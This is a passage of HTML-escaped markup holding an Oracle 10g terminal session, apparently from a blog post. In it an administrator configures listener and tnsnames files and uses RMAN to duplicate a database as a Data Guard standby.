lx92&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  5 oracle dba     4096 Jun  3 23:58 n1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  2 oracle dba     4096 Jun  4 00:04 n2&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-xr-x  3 oracle dba     4096 May 24 00:27 tmp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ ll /oracle/10g/dbs&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 6992&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-rw----  1 oracle dba    1583 May 31 20:27 ab_+ASM.dat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-rw----  1 oracle dba    1544 Apr 16 10:14 hc_+ASM.dat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-rw----  1 oracle dba    1544 Apr 16 10:15 hc_lx10g.dat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-rw----  1 oracle dba    1544 Jun  3 23:08 hc_n1dg.dat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-rw-r--  1 oracle dba   12920 May  3  2001 initdw.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r-----  1 oracle dba      37 Feb 15 14:30 initlx10g.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r-----  1 oracle dba    8385 Sep 11  1998 init.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-rw----  1 oracle dba      24 Feb 15 14:22 lk+ASM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-rw----  1 oracle dba      24 Feb 15 14:28 lkLX10G&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-rw----  1 oracle dba      24 Jun  3 23:29 lkN1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-rw----  1 oracle dba      24 Jun  3 23:08 lkN1DG&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r-----  1 oracle dba    1536 Feb 15 14:22 orapw+ASM&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r-----  1 oracle dba    1536 May 24 00:38 orapwlx10g&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r-----  1 oracle dba    1536 Jun  3 23:11 orapwn1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r-----  1 oracle dba 7061504 Jun  3 23:50 snapcf_n1dg.f&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r-----  1 oracle dba    1536 Feb 15 14:23 spfile+ASM.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r-----  1 oracle dba    3584 Jun  3 23:30 spfilen1dg.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ orapwd file=/oracle/10g/dbs/orapwn2dg password=oracle&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ cd /oracle/10g/network/admin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ ll -tr&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 24&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba  172 Dec 26  2003 shrept.lst&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;drwxr-x---  2 oracle dba 4096 Feb 15 14:08 samples&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 1126 May 23 00:29 tnsnames.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 4605 May 23 01:06 sqlnet.log&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba  722 May 23 01:10 listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ vi tnsnames.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ cat tnsnames.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;# tnsnames.ora Network Configuration File: /oracle/10g/network/admin/tnsnames.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;# Generated by Oracle configuration tools.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;LX10G =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(DESCRIPTION =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (CONNECT_DATA =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SERVER = DEDICATED)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SERVICE_NAME = lx10g)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;LX92 =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(DESCRIPTION =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1621))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (CONNECT_DATA =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SERVER = DEDICATED)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SERVICE_NAME = lx92)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;n1 =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(DESCRIPTION =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (CONNECT_DATA =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SERVER = DEDICATED)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SID = n1dg)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;n2 =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(DESCRIPTION =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (CONNECT_DATA =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SERVER = DEDICATED)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SID = n2dg)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;EXTPROC_CONNECTION_DATA =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(DESCRIPTION =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (ADDRESS_LIST =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (CONNECT_DATA =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SID = PLSExtProc)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (PRESENTATION = RO)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ vi listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ cat listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;# listener.ora Network Configuration File: /oracle/10g/network/admin/listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;# Generated by Oracle configuration tools.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SID_LIST_LISTENER =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(SID_LIST =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (SID_DESC =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SID_NAME = PLSExtProc)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (ORACLE_HOME = /oracle/10g)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (PROGRAM = extproc)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (SID_DESC =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (GLOBAL_DBNAME = lx10g)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (ORACLE_HOME = /oracle/10g)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SID_NAME = lx10g)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (SID_DESC =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (GLOBAL_DBNAME = n1_DGMGRL)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (ORACLE_HOME = /oracle/10g)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SID_NAME = n1dg)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (SID_DESC =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (GLOBAL_DBNAME = n2_DGMGRL)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (ORACLE_HOME = /oracle/10g)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    (SID_NAME = n2dg)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;LISTENER =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(DESCRIPTION =&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin admin]$ cd -&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/oracle/admin/n2dg/scripts&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ pwd&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/oracle/admin/n2dg/scripts&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ ll -tr&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;total 8&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 482 Jun  3 23:57 n2dg.sh&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;-rw-r--r--  1 oracle dba 646 Jun  4 00:04 init.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ echo $ORACLE_SID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ export ORACLE_SID=n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ sqlplus / as sysdba&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 10.2.0.3.0 - Production on Mon Jun 4 00:08:31 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to an idle instance.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; startup nomount pfile=./init.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ORACLE instance started.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Total System Global Area     608174080 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Fixed Size                     1263200 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Variable Size                167774624 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Database Buffers             432013312 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Redo Buffers                   7122944 bytes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;idle&gt; exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP and Data Mining options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ ps -ef | grep pmon_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle   28293     1  0 Jun03 ?        00:00:00 ora_pmon_n1dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle   28515     1  0 00:08 ?        00:00:00 ora_pmon_n2dg&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;oracle   28544 27728  0 00:08 pts/2    00:00:00 grep pmon_&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ tnsping n1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TNS Ping Utility for Linux: Version 10.2.0.3.0 - Production on 04-JUN-2007 00:09:15&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1997, 2006, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Used parameter files:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Used TNSNAMES adapter to resolve the alias&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Attempting to contact (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SID = n1dg)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TNS-12541: TNS:no listener&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ lsnrctl start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;LSNRCTL for Linux: Version 10.2.0.3.0 - Production on 04-JUN-2007 00:09:22&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1991, 2006, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting /oracle/10g/bin/tnslsnr: please wait...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TNSLSNR for Linux: Version 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;System parameter file is /oracle/10g/network/admin/listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Log messages written to /oracle/10g/network/log/listener.log&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;STATUS of the LISTENER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Alias                     LISTENER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Version                   TNSLSNR for Linux: Version 10.2.0.3.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Start Date                04-JUN-2007 00:09:22&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Uptime                    0 days 0 hr. 0 min. 0 sec&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Trace Level               off&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Security                  ON: Local OS Authentication&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SNMP                      OFF&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listener Parameter File   /oracle/10g/network/admin/listener.ora&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listener Log File         /oracle/10g/network/log/listener.log&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Listening Endpoints Summary...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=anakin.mportes.local)(PORT=1521)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Services Summary...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "PLSExtProc" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "lx10g" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Instance "lx10g", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "n1_DGMGRL" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Instance "n1dg", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Service "n2_DGMGRL" has 1 instance(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Instance "n2dg", status UNKNOWN, has 1 handler(s) for this service...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;The command completed successfully&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ tnsping n1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TNS Ping Utility for Linux: Version 10.2.0.3.0 - Production on 04-JUN-2007 00:09:28&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1997, 2006, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Used parameter files:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Used TNSNAMES adapter to resolve the alias&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Attempting to contact (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = anakin.mportes.local)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SID = n1dg)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OK (0 msec)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[oracle@anakin scripts]$ rman target sys/oracle@n1 auxiliary /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Recovery Manager: Release 10.2.0.3.0 - Production on Mon Jun 4 00:12:38 2007&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2005, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;connected to target database: N1DG (DBID=1215438780)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;connected to auxiliary database: N1DG (not mounted)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;RMAN&gt; run {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;2&gt;     allocate auxiliary channel C1 device type disk;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;3&gt;     duplicate target database for standby;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4&gt; }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;using target database control file instead of recovery catalog&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;allocated channel: C1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: sid=156 devtype=DISK&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting Duplicate Db at 04-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;contents of Memory Script:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; restore clone standby controlfile;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; sql clone 'alter database mount standby database';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;executing Memory Script&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Starting restore at 04-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: starting datafile backupset restore&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: restoring control file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: reading from backup piece /backup/n1/df_t624325850_s2_p1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: restored backup piece 1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;piece handle=/backup/n1/df_t624325850_s2_p1 tag=TAG20070603T235025&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;channel C1: restore complete, elapsed time: 00:00:03&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;output filename=/oracle/10g/dbs/cntrln2dg.dbf&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Finished restore at 04-JUN-07&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sql statement: alter database mount standby database&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;contents of Memory Script:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; set newname for tempfile  1 to&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 